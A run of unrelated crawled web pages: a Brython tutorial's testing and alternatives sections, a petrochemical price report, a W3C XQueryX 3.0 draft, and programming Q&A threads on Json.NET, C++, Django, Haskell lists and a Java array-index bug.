With that, you’re ready to proceed with the installation and testing as you did for the JavaScript chrome extension.
Testing and Debugging Brython
There are currently no convenient libraries for unit testing Brython code. As Brython evolves, you’ll see more options to test and debug Python code in the browser. It’s possible to take advantage of the Python unit test framework for a standalone Python module that can be used outside the browser. In the browser, Selenium with browser drivers is a good option. Debugging is also limited but possible.
Python Unit Tests
The Python unit test frameworks, like the built-in
unittest and
pytest, don’t work in the browser. You can use these frameworks for Python modules that could also be executed in the context of CPython. Any Brython-specific modules like
browser can’t be tested with such tools at the command line. For more information about Python unit testing, check out Getting Started With Testing in Python.
Selenium
Selenium is a framework for automating browsers. It’s agnostic to the language used in the browser, whether it’s JavaScript, Elm, Wasm, or Brython, because it uses the WebDriver concept to behave like a user interacting with the browser. You can check out Modern Web Automation With Python and Selenium for more information about this framework.
JavaScript Unit Tests
There are many JavaScript-focused testing frameworks, like Mocha, Jasmine, and QUnit, that perform well in the full JavaScript ecosystem. But they’re not necessarily well suited to unit test Python code running in the browser. One option requires globally exposing the Brython functions to JavaScript, which goes against best practices.
To illustrate the option of exposing a Brython function to JavaScript, you’ll use QUnit, a JavaScript unit test suite that can run self-contained in an HTML file:
1<!-- index.html --> 2<!DOCTYPE html > 3<html> 4 5<head> 6 <meta charset="utf-8"> 7 <meta name="viewport" content="width=device-width"> 8 <title>Test Suite</title> 9 <link rel="stylesheet" href=""> 10 <script src=""></script> 11 <script src=""></script> 12</head> 13 14<body onload="brython()"> 15<div id="qunit"></div> 16<div id="qunit-fixture"></div> 17<script type="text/python"> 18from browser import window 19 20def python_add(a, b): 21 return a + b 22 23window.py_add = python_add 24</script> 25 26<script> 27const js_add = (a, b) => a + b; 28QUnit.module('js_add_test', function() { 29 QUnit.test('should add two numbers', function(assert) { 30 assert.equal(js_add(1, 1), 2, '1 + 1 = 2 (javascript'); 31 }); 32}); 33 34QUnit.module('py_add_test', function() { 35 QUnit.test('should add two numbers in Brython', function(assert) { 36 assert.equal(py_add(2, 3), 5, '2 + 3 = 5 (python)'); 37 }); 38}); 39 40QUnit.module('py_add_failed_test', function() { 41 QUnit.test('should add two numbers in Brython (failure)', function(assert) { 42 assert.equal(py_add(2, 3), 6, '2 + 3 != 6 (python)'); 43 }); 44}); 45</script> 46 47</body> 48</html>
In one HTML file, you’ve written Python code, JavaScript code, and JavaScript tests to validate functions from both languages executed in the browser:
- Line 11 imports the QUnit framework.
- Line 23 exposes
python_add()to JavaScript.
- Line 28 defines
js_add_testto test the JavaScript function
js_add().
- Line 34 defines
py_add_testto test the Python function
python_add().
- Line 40 defines
py_add_failed_testto test the Python function
python_add()with an error.
You don’t need to start a web server to execute the unit test. Open
index.html in a browser, and you should see the following:
The page shows two successful tests,
js_add_test() and
py_add_test(), and one failed test,
py_add_failed_test().
Exposing a Python function to JavaScript shows how you can use a JavaScript unit test framework to execute Python in the browser. Although possible for testing, it’s not recommended in general because it may conflict with existing JavaScript names.
Debugging in Brython
As of this writing, there were no user-friendly tools to debug your Brython application. You weren’t able to generate a source map file that would allow you to debug step by step in the browser development tools.
This shouldn’t discourage you from using Brython. Here are a few tips to help with debugging and troubleshooting your Brython code:
- Use
print()or
browser.console.log()to print variable values in the browser’s developer tools console.
- Use f-string debugging as described in Cool New Features in Python 3.8.
- Clear the browser’s IndexedDB once in a while by using the developer tools.
- Disable the browser cache during development by checking the Disable cache checkbox in the Network tab of the browser’s developer tools.
- Add options to
brython()to enable additional debug information to be displayed in the JavaScript console.
- Copy
brython.jsand
brython_stdlib.min.jslocally to speed up reloading during development.
- Start a local server when you
importPython code.
- Open the inspector from the extension when troubleshooting a Chrome extension.
One of the niceties of Python is the REPL (read-eval-print loop). The online Brython console offers a platform to experiment with, test, and debug the behavior of some code snippets.
Exploring Alternatives to Brython
Brython isn’t the only option for writing Python code in the browser. A few alternatives are available:
Each implementation approaches the problem from a different angle. Brython attempts to be a replacement for JavaScript by providing access to the same web API and DOM manipulation as JavaScript, but with the appeal of the Python syntax and idioms. It’s packaged as a small download in comparison to some alternatives that may have different goals.
How do these frameworks compare?
Skulpt
Skulpt compiles Python code to JavaScript in the browser. The compilation takes place after the page is loaded, whereas in Brython the compilation takes place during page loading.
Although it doesn’t have built-in functions to manipulate the DOM, Skulpt is very close to Brython in its applications. This includes educational uses and full-blown Python applications, as demonstrated by Anvil.
Skulpt is a maintained project moving toward Python 3. Brython is mostly on par with CPython 3.9 for modules compatible with an execution in the browser.
Transcrypt
Transcrypt includes a command-line tool to compile Python code to JavaScript code. The compilation is said to be ahead of time (AOT). The resulting code can then be loaded into the browser. Transcrypt has a small footprint, about 100KB. It’s fast and supports DOM manipulation.
The difference between Skulpt and Brython is that Transcrypt is compiled to JavaScript with the Transcrypt compiler before being downloaded and used in the browser. This enables speed and small size. However, it prevents Transcrypt from being used as a platform for education like the other platforms.
Pyodide
Pyodide is a WebAssembly compilation of the CPython interpreter. It interprets Python code in the browser. There’s no JavaScript compilation phase. Although Pyodide, like PyPy.js, requires you to download a significant amount of data, it comes loaded with scientific libraries like NumPy, Pandas, Matplotlib, and more.
You can see Pyodide as a Jupyter Notebook environment running entirely in the browser rather than served by a back-end server. You can experiment with Pyodide using a live example.
PyPy.js
PyPy.js uses the PyPy Python interpreter compiled to JavaScript with emscripten, making it compatible for running in a browser.
In addition to the project’s current dormant status, PyPy.js is a large package, about 10 MB, that is prohibitive for typical web applications. You can still use PyPy.js as a platform for learning Python in a browser by opening the PyPy.js home page.
PyPy.js is compiled to JavaScript with emscripten. Pyodide takes it one step further, leveraging emscripten and Wasm in particular to compile Python C extensions like NumPy to WebAssembly.
As of this writing, PyPy.js did not appear to be maintained. For something in the same vein regarding the compilation process, consider Pyodide.
Conclusion
In this tutorial, you’ve taken a deep dive into several facets of writing Python code in the browser. This may have given you some interest in trying Python for front-end development.
In this tutorial, you’ve learned how to:
- Install and use Brython in a local environment
- Replace JavaScript with Python in your front-end web applications
- Manipulate the DOM
- Interact with JavaScript
- Create browser extensions
- Compare alternatives to Brython
In addition to accessing features usually reserved for JavaScript, one of the best uses of Brython is as a learning and teaching tool. You can access a Python editor and console that run in your browser to start exploring the many uses of Brython today.
To review the examples you saw in this tutorial, you can download the source code by clicking the link below:
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08 June 2011 06:51 [Source: ICIS news]
By Ong Sheau Ling
?xml:namespace>
Polyethylene (PE) and polypropylene (PP) values for June shipments are down $50-120/tonne (€34-82/tonne) from May, according to ICIS data.
“[Middle East] Prices [for] the rest of June are likely to make further minor downward corrections, based on the current market situation in
PP raffia prices tumbled for the third consecutive week after hitting a 10-month high, shedding $120/tonne to $1,590-1,630/tonne DEL (delivered) GCC (Gulf Cooperation Council) and $1,620-1,650/tonne DEL East Med (Mediterranean), market sources said.
Meanwhile, prices of various linear low density PE (LLDPE) film, high density PE (HDPE) film and low density PE (LDPE) film for June shipments fell $50-70/tonne over the same three-week period, they said.
On Wednesday, prices of linear low density polyethylene (LLDPE) film are quoted at $1,430-1,450/tonne DEL GCC and at $1,460-1,480/tonne DEL East Med.
Low density PE (LDPE) film prices hover at $1,750-1,790/tonne DEL GCC and $1,770-1,790/tonne DEL East Med, while high density PE (HDPE) film values are at $1,420-1,450/tonne DEL GCC and at $1,450-1,480/tonne East Med, market sources said.
In
Unless
“This is the last lap for price support before Ramadan [Muslim fasting month] kicks in on 1 August, as demand will dwindle. If prices of PE and PP do not normalise by July, we can only achieve better pricing in the fourth quarter,” he added.
“If
Several traders based in
“Our customers did not buy much cargoes in May, so for June, they have to restock. However, prices seem likely to fall further and hence, customers are holding back,” said a Dubai-based polyolefins trader.
An Oman-based converter said: “We are buying just enough material to cover us for June. We do not want to risk buying high-cost raw material in view of a falling market.”
“PP prices have to fall harder than PE naturally, because in the past few months, PP prices have been jumping at $100/tonne per month. There is no support [to] prices at all,” said a Jordan-based converter.
Converters are worried that the restart of two major PP facilities in
National Petrochemical Industrial Co (NATPET) is expected to restart its 400,000 tonne/year PP plant at
“We are actually afraid that the polymer [PP] prices will fall below that of the monomer [propylene]. If that really happens, I do not know what will happen to the Asian makers,” said a Saudi PE and PP producer.
Spot prices of feedstock propylene were discussed at $1,450-1,470/tonne CFR (cost and freight) NE (northeast) Asia, narrowing the price spread to
“The price gap between PP and propylene is barely $100/tonne, compared to the traditional spread of $150-250/tonne. [Asian] PP producers are under tremendous pressure to minimise their loss and at the same time, to sell some products in the current weak demand,” said a GCC PP maker.
China's petrochemical giant Sinopec is expected to cut its June PP output by around 40,000 tonnes – the company’s second production cut amid a margin squeeze caused by low prices and high production cost, largely on account of high international crude prices.
“Makers in the
“Not only is the PP market not looking good, PE is not performing as well,” he added.
Asian PE makers are likely to further cut production on the back of weak demand. Sinopec is also expected to reduce its PE output by another 80,000 tonnes this month.
Meanwhile, the ongoing political turmoil in
“Sales in
In addition, a GCC producer was heard undercutting mainstream offers, pressuring its regional counterparts to lower their offers, market sources said.
“The presence of such cheaper material is also affecting the sentiment. This [GCC] producer is very aggressive,” said another Saudi PE and PP maker.
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I have this class
public class RoleTransfer
{
public RoleTransferOperation Operation { get; set; } //This is enum type
public string RoleName { get; set; }
public RoleTransferDirection Direction { get; set; } //This is enum type
}
I try to Deserialize this string: {"Operation":"1","RoleName":"Admin","Direction":"0"}
I get the right value for the Operation and Direction members,
but I get null for the RoleName member.
Works for me.
I’m very excited that it works for you, but any idea why it doesn’t work for me.
I'm stoked too.
You haven't mentioned what version of Json.NET you are using. The example works for me using the latest version of the Json.NET source code.
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).
This is a
This Last Call Working Draft makes
a small number of substantive technical changes (as well as many
editorial changes), including new features, adopted since the previous Working Draft was published.
The Working Group especially solicits comments on this Draft from other W3C Working Groups,
as well as from the general public.
Please note that this Working Draft of XQueryX 3.0 represents the
second version of
No implementation report currently exists. However, a Test Suite for XQueryX 3.0 is under development.
This document incorporates changes made against the previous publication
of the Working Draft.
Changes to this document since the previous publication of the Working Draft
are detailed the fourth WD of this spec.
This is the Last Call Working Draft of this specification.
It is aligned with the XQuery grammar as published in.
In this document, examples and material labeled as
Note are provided for
explanatory purposes and are not normative.
There are several environments in which XQueryX may be useful: for
XQueryX is an XML representation of the abstract syntax found in
Appendix A of
The main data structure in the XQueryX Schema is the set of types that describe expressions. We have chosen to model expressions using substitution groups, with an "expr" abstract base class and a number of intermediate abstract classes.
Consider the following productions from the abstract syntax:
Those productions do not represent the entire FLWOR expression, so some of the BNF non-terminal names are not resolved in the example abstract syntax.
The following XQueryX Schema definitions reflect the structure of those productions from that abstract syntax:
Since XQuery uses the expression production liberally to allow expressions to be flexibly combined, XQueryX uses the exprWrapper type in embedded contexts to allow all expression types to occur.
Three of following examples are based on the data and queries in the XMP
(Experiences and Exemplars) use case in
Comparison of the results of the XQueryX-to-XQuery transformation given in this document
with the XQuery solutions in the
The XQuery Use Cases solution given for each example is provided only to assist readers of this document in understanding the XQueryX solution. There is no intent to imply that this document specifies a "compilation" or "transformation" of XQuery syntax into XQueryX syntax.
In the following examples, XQueryX documents and XQuery expressions for readability. That additional white space is not produced by the XQueryX-to-XQuery transformation.
Here is Q1 from the
Application of the stylesheet in
For comparison, here is the abstract parse tree corresponding to the
XQuery for Example 1, as produced by the XQuery grammar applets found at
Here is Q4 from the
Application of the stylesheet in
Here is Q7 from the
Application of the stylesheet in
Here is Q8 from the
Application of the stylesheet in
Here is the XML Schema against which XQueryX documents must be valid.
This section defines the conformance criteria for an XQueryX processor
(see Figure 1, "Processing Model Overview", in
In this section, the following terms are used to indicate the
requirement levels defined in
An XQueryX processor that claims to conform to this specification MUST
implement the XQueryX syntax as defined in
The following stylesheet converts from XQueryX syntax to XML Query syntax.
Note the intent of the stylesheet is to produce
application/xquery+xmlMedia Type
This Appendix specifies the media type for XQueryX Version 3.0. XQueryX is
the XML syntax of a language, XQuery, for querying over
data from XML data sources, as specified in
Specification of media types is described in
This document, together with its normative references, defines the
XML syntax for the XML Query language XQuery Version 3.0.
This Appendix specifies the
application/xquery+xml media type,
which is intended to be used for transmitting queries expressed in the
XQueryX syntax.
This media type is being submitted to the IESG for review, approval, and registration with IANA.
This document was prepared by members of the W3C XML Query Working
Group. Please send comments to public-qt-comments@w3.org,
a public mailing list with archives at
application/xquery+xml
MIME media type name:
application
MIME subtype name:
xquery+xml
Required parameters: none
Optional parameters:
charset
This parameter has identical semantics to the
charset parameter of the
application/xml
media type as specified in [RFC 3023].
By virtue of XSLT content being XML, it has the same considerations
when sent as "
application/xquery+xml" as does XML.
See [RFC 3023], section 3.2.
Queries written in XQuery may cause arbitrary URIs or IRIs to be dereferenced.
Therefore, the security issues of [RFC3987] Section 8 should be considered.
In addition, the contents of resources identified by
file: URIs can in
some cases be accessed, processed and returned as results.
XQuery expressions can invoke any of the functions defined in
XQuery 1.0 and XPath 2.0 Functions and Operators, including
file-exists();
a
doc() function also allows local filesystem probes as well as
access to any URI-defined resource accessible from the system
evaluating the XQuery expression.
XQuery is a full declarative programming language, and supports user-defined functions, external function libraries (modules) referenced by URI, and system-specific "native" functions.
Arbitrary recursion is possible, as is arbitrarily large memory usage, and implementations may place limits on CPU and memory usage, as well as restricting access to system-defined functions.
The XML Query Working group is working on a facility to allow XQuery expressions to be used to create and update persistent data. Untrusted queries should not be given write access to data.
Furthermore, because the XQuery language permits extensions, it is possible that application/xquery may describe content that has security implications beyond those described here.
See
This media type registration is for XQueryX documents as described
by the XQueryX 3.0 specification, which is located at
The public
This new media type is being registered to allow for deployment of XQueryX on the World Wide Web.
There is no experimental, vendor specific, or personal tree predecessor to "application/xquery+xml", reflecting the fact that no applications currently recognize it. This new type is being registered in order to allow for the expected deployment of XQueryX 3.0 on the World Wide Web, as a first class XML application.
Although no byte sequences can be counted on to consistently identify XQueryX, XQueryX documents will have the sequence "" to identify the XQueryX namespace. This sequence will normally be found in a namespace attribute of the first element in the document.
The most common file extension in use for XQueryX is
.xqx.
The appropriate Macintosh file type code is
TEXT.
Jim Melton, Oracle Corp.,
COMMON
The intended usage of this media type is for interchange of XQueryX expressions.
XQuery was produced by, and is maintained by, the World Wide Web Consortium's XML Query Working Group. The W3C has change control over this specification.
For documents labeled as "
application/xquery+xml",
the fragment identifier notation is exactly that for
"
application/xml", as specified in [RFC 3023].
This appendix lists the changes that have been made to this specification since the publication of the XQueryX 1.0 Recommendation on 23 January 2007.
In the Working Draft of 13 December 2011, Working Draft of 13 December 2011, contains the following incompatibilities the preceding draft of this document. The changes made to this document are described below. The rationale for each change is explained in the corresponding Bugzilla database entry (if any). The following table summarizes the changes that have been applied. | http://www.w3.org/TR/2011/WD-xqueryx-30-20111213/xqueryx-30.xml | CC-MAIN-2016-40 | refinedweb | 1,249 | 51.38 |
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Hello,
*'m trying to complete a homework assignment using a bool type array to find the prime numbers from 2 to 1000 based on the sieve of Eratosthenes. The code I've included below will find the prime numbers, but skips the first 11 primes (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, and 31). I can't see what I'm doing wrong. Can anyone help? Any help would be greatly appreciated.. Thanks.
Sam*
`#include <iostream>
include <iomanip>
using namespace std;
int main()
{
const int arraySize = 1000;
bool arrayPrime [ arraySize ];
//initialize the array elements to true for( int i = 0; i < arraySize; i++ ) { arrayPrime[i] = true; }//end initialization //determine prime elements for( int i = 2; i < arraySize; i++ ) { for(int j = 2; j < arraySize; j++) { if( j > i && arrayPrime[j] == true) { if(j%i == 0) { arrayPrime[j] = false; arrayPrime[i] = arrayPrime[j]; }//end if }//end if }//end second for }//end first for //print all prime elements of the array cout << "All prime numbers from 0 to " << arraySize << "\n\n" << endl; for(int i = 0; i < arraySize; i++) { if(arrayPrime[i] ==true) { cout << "arrayPrime[" << i << "]" << "equals: " << arrayPrime[i] << endl; }//end if }//end for
cin.ignore(1);
}//endmain
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Opened 6 years ago
Closed 4 years ago
Last modified 4 years ago
#12753 closed Bug (fixed)
Fixture loading can fails on second syncdb when auto_now_add field is ommitted
Description
Via Andrew Turner, on django-users:
Here is a simple initial_data.json:-
[ { "model": "posts.entry", "pk": 1, "fields": { "content": "This is the content" } } ]
And here is my models.py:-
from django.db import models class Entry(models.Model): content = models.CharField(max_length=250) pub_date = models.DateTimeField(auto_now_add=True, editable=False)
First time syncdb is run, the fixture is correctly loaded, subsequent
runs result in the aforementioned error. Tested on Django 1.1.1 and
1.2alpha.
Comment by russellm:
The initial syncdb shouldn't be succeeding - for some reason, the field is being populated with a default value generated by the auto_now_add handling. The second syncdb gives the correct error due to the missing pub_date data in the fixture.
Attachments (3)
Change History (24)
comment:1 Changed 6 years ago by russellm
- Needs documentation unset
- Needs tests unset
- Patch needs improvement unset
- Triage Stage changed from Unreviewed to Accepted
comment:2 Changed 6 years ago by acturneruk
comment:3 Changed 6 years ago by anonymous
- Cc bas@… added
comment:4 Changed 6 years ago by russellm
- milestone changed from 1.2 to 1.3
Not critical for 1.2
comment:5 Changed 6 years ago by dmedvinsky
- Owner changed from nobody to dmedvinsky
Changed 6 years ago by dmedvinsky
comment:6 Changed 6 years ago by dmedvinsky
- Has patch set
comment:7 Changed 6 years ago by dmedvinsky
Not sure if that's the way it should be done, since I don't have a good knowledge of Django guts, but that's how I was able to do what's expected.
comment:8 Changed 5 years ago by mattmcc
- milestone changed from 1.3 to 1.4
- Severity set to Normal
- Type set to Bug
comment:9 Changed 5 years ago by anonymous
- Easy pickings unset
- UI/UX unset
I use auto_now=True and auto_now_add=True for 2 timestamps of respective purpose on all of my models, and I don't have a problem with this. The bug does, however, manifest itself when I accidentally create 2 objects with the same model and PK in a fixture. Upon doing so, any manage.py syncdb will cause an IntegrityError , with a message indicating that one of the timestamp fields can't be null (which is obviously unrelated to the PK issue). I'm not sure what causes this anomaly, but FWIW those steps reproduce the isue.
comment:10 Changed 5 years ago by jacob
- milestone 1.4 deleted
Milestone 1.4 deleted
comment:11 Changed 4 years ago by vsafronovich@…
- Version changed from 1.1 to 1.4-beta-1
The behavoir of 'auto_now_add' was changed in django 1.4 branch (1.4b1), loading fixtures with fields with auto_now_add option now cause an IntegrityError. We use widely fixtures in tests, so many tests was broken. If you removed support of loading fixtures with fields with 'auto_now_add' option, you should generate a DeprecationWarning
comment:12 Changed 4 years ago by akaariai
- Cc anssi.kaariainen@… added
Could you describe how/why you get the integrity error? Maybe a sample fixture file and the queries generated if possible. +10 points if you can include a test case.
Changed 4 years ago by vsafronovich
test django 1.4 project to show the testcase
comment:13 Changed 4 years ago by vsafronovich
- Cc vsafronovich added
I`v attached the test project with code from the body of this ticket. Try to run tests (manage.py test posts) in django 1.4b1. Tests will broken, but in django 1.3 this tests will passed.
comment:14 Changed 4 years ago by vsafronovich
- Severity changed from Normal to Release blocker
still doesn`t work
comment:15 Changed 4 years ago by kmtracey
For reasons that are not clear to me, the change in behavior came with r16739 (addition of bulk_create). Prior to that the test in the attached project succeeds, after that it fails due to the fixture failing to load (IntegrityError: posts_entry.pub_date may not be NULL). But from the above discussion it sounds like the "expected" behavior all along was that this fixture would never load correctly due to having a missing required field value? So r16739 "fixed" the unexpectedly-succeeding load of a fixture with non-specified auto_now_add fields...yet that has the side-effect of possibly breaking tests for people who unknowingly were relying on this bug in their test fixtures.
comment:16 Changed 4 years ago by ptone
For reference, further discussion here;
Changed 4 years ago by ptone
comment:17 Changed 4 years ago by ptone
comment:18 Changed 4 years ago by kmtracey
- Owner changed from dmedvinsky to kmtracey
comment:19 Changed 4 years ago by kmtracey
comment:20 Changed 4 years ago by kmtracey
- Resolution set to fixed
- Status changed from new to closed
comment:21 Changed 4 years ago by vsafronovich
Оk, so I need to explicitly set date to some fixed datetime.
What will I do with tests, that tested some objects was created near now time and change behavior for this objects?
I think more you should deprecate using of auto_now and auto_now_add in DateTimeField constructor. And simply add link to wiki, where was described how to set datetime field to now time in save method of the model object.
Repeated syncdbs also succeed (the pub_date field is being populated with a default value) when auto_now=True is used
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10 Common JavaScript Array Methods & Their Haskell List Counterparts
Using the Data.List Module
Manipulating arrays and lists are a big part of coding. Coming from JavaScript I was spoiled with the many many built-in array functions available. From map to sort to filter. These are basic building blocks I needed to continue coding in Haskell. That's when I came across the Data.List module.
Data.List
Data.List is a Haskell module, or a collection of related functions, types, and typeclasses. This module contains many useful functions for dealing with lists. To import the module, simply include the following at the top of your file (before you use any of the functions from the module):
import Data.List
Now let's see how some of the most common Javascript array functions can be translated to Haskell using the functions available to us in Data.List. See here for details on all the available functions in Data.List
1. array.map()
map :: (a -> b) -> [a] -> [b]>>> map (+1) [1, 2, 3]
[2,3,4]
2. array.reduce()
foldl :: Foldable t => (b -> a -> b) -> b -> t a -> b>>> foldl (+) 0 [1,2,3,4]
10
3. array.filter()
filter :: (a -> Bool) -> [a] -> [a]>>> filter (< 2) [1, 2, 3]
[1]
4. array.find()
find :: Foldable t => (a -> Bool) -> t a -> Maybe a>>> find (>2) [1,2,3,4,5]
Just 3
5. array.some()
any :: Foldable t => (a -> Bool) -> t a -> Bool>>> any (> 4) [1,2,3,4,5]
True
6. array.every()
all :: Foldable t => (a -> Bool) -> t a -> Bool>>> all (> 3) [1,2,3,4,5]
False
7. array.indexOf()
elemIndex :: Eq a => a -> [a] -> Maybe Int>>> elemIndex 4 [1, 4, 7, 9]
Just 1
8. array.includes()
elem :: (Foldable t, Eq a) => a -> t a -> Bool>>> 3 `elem` [1,2,3,4,5]
True
9. array.sort()
sort :: Ord a => [a] -> [a]>>> sort [1,6,4,3,1]
[1,1,3,4,6]
10. array.slice()
Unfortunately, there is no JavaScript’s slice equivalent in Data.List but we can use the functions drop and take to define our own slice function in Haskell.
drop :: Int -> [a] -> [a]>>> drop 3 [1,2,3,4,5]
[4,5]take :: Int -> [a] -> [a]>>> take 3 [1,2,3,4,5]
[1,2,3]slice' :: Int -> Int -> [a] -> [a]
slice' start end xs = take (end - start + 1) (drop start xs) | https://sarakhandaker.medium.com/10-common-javascript-array-methods-their-haskell-list-counterparts-7ab1536f82ea?source=user_profile---------1---------------------------- | CC-MAIN-2021-43 | refinedweb | 400 | 82.04 |
We were explicitly instructed *not* to publish a master version by
ASF staff when given access to the apache/couchdb name space. I
don't know what more I can say here without Infra threatening
to take away the apache/couchdb namespace from us.
We were also told that the "official" namespace that Docker
provides (just 'couchdb' which is being updated to the new
apache/couchdb location) can only use official releases from
upstream, see:
"...while bleeding edge betas/RCs/etc that have a unique git
hash reference can be supported, building from master should be
done in a non-official image."
-Joan
----- Original Message -----
From: "Dale Harvey" <dale@arandomurl.com>
To: user@couchdb.apache.org, "Joan Touzet" <wohali@apache.org>
Cc: "CouchDB Developers" <dev@couchdb.apache.org>
Sent: Wednesday, 20 September, 2017 3:56:08 AM
Subject: Re: Docker images migrated to apache/couchdb
Having a master version available does not seem to break those policies (advertising outside
the development community seems purposefully vague), and if it did then those policies should
be fixed. A master version of CouchDB available for testing with PouchDB would be hugely beneficial,
I imagine for other projects that want to integrate with CouchDB would benefit too
On 20 September 2017 at 08:15, Joan Touzet < wohali@apache.org > wrote:
Hello everyone,
The Docker images that used to live at klaemo/couchdb have
now been semi-officially replaced by ones at apache/couchdb.
Tags are present for 1.6.1, 1.6.1-couchperuser, 2.1.0, and
latest (which is the same as 2.1.0). The 2.1.0 image can be
used both as a single node, and in a cluster.
ASF policy prevents us from publishing a "master" version,
as notated here:
Sorry for the delay in getting these out the door.
The next step is to deprecate the klaemo/couchdb image, and
to have the "official" couchdb image replaced with a pointer
to the apache/couchdb image.
-Joan | http://mail-archives.apache.org/mod_mbox/couchdb-dev/201709.mbox/%3C174157988.1291.1505895649022.JavaMail.Joan@RITA%3E | CC-MAIN-2018-05 | refinedweb | 329 | 61.56 |
probably doing something stupid, but results don't make sense to me
Gene Matthews
Greenhorn
Joined: Feb 17, 2013
Posts: 2
posted
Feb 17, 2013 15:03:36
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This is my first post, so hopefully I will get the code inserted/formatted where it is readable. I'm working on a class assignment; one that I didn't think I would have any problems with but I'm seeing some results that I can't figure out. I'm probably doing something dumb but I have not been able to spot it. I have two classes shown below. A Student class and a Main class (with a main method). I've got some debugging System.out.println statements inserted into the main method and into the setProjectScore() method in the Student class. I'm making a call to setProjectScore() which is setting the first element in an array to a value. However, when I return from the method call and print it out there, the value has changed (from 100 to -1).
Can anyone please tell me why the projects[0] is set to a -1??
When I run it as it exists below I get the following output:
DEBUG: Next index for both projects and quizzes should be 0: pIndex = 0; qIndex = 0 DEBUG: Student.setProjectScore(): Entering.... score = 100.0; index = 0 DEBUG: Student.setProjectScore(): passed if tests; about to add score... DEBUG: Student.setProjectScore(): projects[0] = 100.0 DEBUG: Student.setProjectScore(): Entering.... score = 99.0; index = 1 DEBUG: Student.setProjectScore(): passed if tests; about to add score... DEBUG: Student.setProjectScore(): projects[1] = 99.0 DEBUG: project[0] should be 100.... and is.... -1.0 DEBUG: project[1] should be 99.... and is.... 99.0
public class Student extends Object { private static final int MAX_PROJECTS = 15; private static final int MAX_QUIZZES = 10; private String lastName; private String firstName; private int studentID; private double[] projects; private double[] quizzes; Student(String lastName, String firstName, int studentID) { setLastName(lastName); setFirstName(firstName); setStudentID(studentID); projects = new double[MAX_PROJECTS]; quizzes = new double[MAX_QUIZZES]; int i=0 ,j = 0; while (i <projects.length){ projects[i] = -1.0; i++; } while (j<quizzes.length){ quizzes[j] = -1.0; j++; } } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public int getStudentID() { return studentID; } public void setStudentID(int studentID) { this.studentID = studentID; } public boolean setProjectScore(double score, int index) { System.out.println("DEBUG: Student.setProjectScore(): Entering.... score = " + score + "; index = " + index); if ((index >=0) && (index < projects.length)) { System.out.println("DEBUG: Student.setProjectScore(): passed if tests; about to add score..."); projects[index] = score; System.out.println("DEBUG: Student.setProjectScore(): projects["+index+"] = "+projects[index]); return true; } else { return false; } } public boolean setQuizScore(double score, int index) { if ((index >0) && (index < quizzes.length)) { quizzes[index] = score; } else { return false; } return false; } public double getProjectScore(int index) { if ((index > 0) && (index < projects.length)) { return projects[index]; } else return -1.0; } public double getQuizScore(int index) { if ((index > 0) && (index < quizzes.length)) { return quizzes[index]; } else return -1.0; } public int getNextProjectIndex() { int index = -1; int i = 0; while (i<projects.length) { if (projects[i] == -1) return i; i++; } return index; } public int getNextQuizIndex() { int index = -1; int i = 0; while (i<quizzes.length) { if (quizzes[i] == -1) return i; i++; } return index; } public int getProjectsSize() { int size = getNextProjectIndex(); if (size == -1) return MAX_PROJECTS; else return size; } public int getQuizzesSize() { int size = getNextQuizIndex(); if (size == -1) return MAX_QUIZZES; else return size; } }
public class Main { public static void main(String[] args) { Student student1 = new Student("Flinstone","Fred",100); double[] pScores = {100.0, 89.5, 92.0, 74.0, 87.5, 80.0, 100.0, 94.5, 99.0, 83.5, 82.0, 77.0, 0.0, 100.0, 98.5,99.5}; double[] qScores = {80.0, 100.0, 94.5, 99.0, 83.5, 82.0, 77.0, 70.0, 100.0, 98.5}; int pIndex, qIndex; //number of projects and quizzes should be zero currently displayProjectScores(student1); displayQuizScores(student1); pIndex = student1.getNextProjectIndex(); qIndex = student1.getNextQuizIndex(); System.out.println("DEBUG: Next index for both projects and quizzes should be 0: pIndex = " + pIndex+"; qIndex = "+qIndex ); int i=0; boolean stillOKtoAdd = false; //System.out.println("DEBUG: i = "+i+"; pIndex = "+pIndex+"; pScores[i] = "+ pScores[i]); //System.out.println("DEBUG: student1.setProjectScore(pScores[i],pIndex) = "+Boolean.toString(student1.setProjectScore(pScores[i],pIndex))); student1.setProjectScore(100, 0); student1.setProjectScore(99, 1); System.out.println("DEBUG: project[0] should be 100.... and is.... " + student1.getProjectScore(0) ); System.out.println("DEBUG: project[1] should be 99.... and is.... " + student1.getProjectScore(1) ); System.exit(0); // add project scores; attempt to add one to many (i.. pSocres has 16 elements in the array do { if (i < pScores.length) { stillOKtoAdd = student1.setProjectScore(pScores[i],pIndex); if (stillOKtoAdd) System.out.println("DEBUG: index = " + (i)+"; score = " +student1.getProjectScore(i)); i++; pIndex++; } else { stillOKtoAdd = false; } } while(stillOKtoAdd); System.out.println("DEBUG: student1.getProjectScore(0) = " +student1.getProjectScore(0)); displayProjectScores(student1); } private static void displayProjectScores(Student student) { int numProjects = student.getProjectsSize(); if (numProjects > 0) { System.out.println(student.getFirstName() +" "+ student.getLastName() + " has " + numProjects + " project score(s)."); System.out.println("Project #\t Score "); System.out.println("=========\t========="); int i = 0; while (i<numProjects) { System.out.println(i+"\t"+student.getProjectScore(i)); i++; } } else { System.out.println(student.getFirstName() +" "+ student.getLastName() + " has no project scores."); } } private static void displayQuizScores(Student student) { int numQuizzes = student.getNextQuizIndex(); if (numQuizzes > 0) { System.out.println(student.getFirstName() +" "+ student.getLastName() + " has " + numQuizzes + " project score(s)."); System.out.println(" Quiz # \t Score "); System.out.println("=========\t========="); int i = 0; while (i<numQuizzes) { System.out.println(i+"\t"+student.getQuizScore(i)); i++; } } else { System.out.println(student.getFirstName() +" "+ student.getLastName() + " has no quiz scores."); } } }
Paul Mrozik
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Feb 17, 2013 17:16:01
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Hi Gene,
Have a look at this:
public double getProjectScore(int index) { if ((index > 0) && (index < projects.length)) { return projects[index]; } else return -1.0; }
And then your method call:
System.out.println("DEBUG: project[0] should be 100.... and is.... " + student1.getProjectScore(0) );
Now analyze the conditional statement more closely and you should be able to figure it out. It's the root of the problem, and not only in that function.
Gene Matthews
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Feb 17, 2013 20:04:43
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Thanks so much for the nudge in the right direction. All working now. As you pointed out, I had a few instances of checking for >0 when it should have been >=0. Thanks again!
I agree. Here's the link:
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